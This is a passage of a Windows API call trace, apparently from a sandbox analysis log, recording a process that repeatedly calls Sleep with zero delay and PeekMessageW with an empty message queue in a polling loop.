[0038.607] Sleep (dwMilliseconds=0x0) [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] Sleep (dwMilliseconds=0x0) [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.607] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] Sleep (dwMilliseconds=0x0) [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] Sleep (dwMilliseconds=0x0) [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.608] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] Sleep (dwMilliseconds=0x0) [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] Sleep (dwMilliseconds=0x0) [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] Sleep (dwMilliseconds=0x0) [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.609] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] Sleep (dwMilliseconds=0x0) [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] Sleep (dwMilliseconds=0x0) [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.610] Sleep (dwMilliseconds=0x0) [0038.610] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] Sleep (dwMilliseconds=0x0) [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] Sleep (dwMilliseconds=0x0) [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.611] Sleep (dwMilliseconds=0x0) [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] Sleep (dwMilliseconds=0x0) [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] Sleep (dwMilliseconds=0x0) [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.612] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] Sleep (dwMilliseconds=0x0) [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] Sleep (dwMilliseconds=0x0) [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.613] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.618] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] Sleep (dwMilliseconds=0x0) [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] Sleep (dwMilliseconds=0x0) [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.619] Sleep (dwMilliseconds=0x0) [0038.619] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] Sleep (dwMilliseconds=0x0) [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.620] Sleep (dwMilliseconds=0x0) [0038.620] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.621] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.621] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.621] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.621] Sleep (dwMilliseconds=0x0) [0038.621] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] Sleep (dwMilliseconds=0x0) [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.622] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.623] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 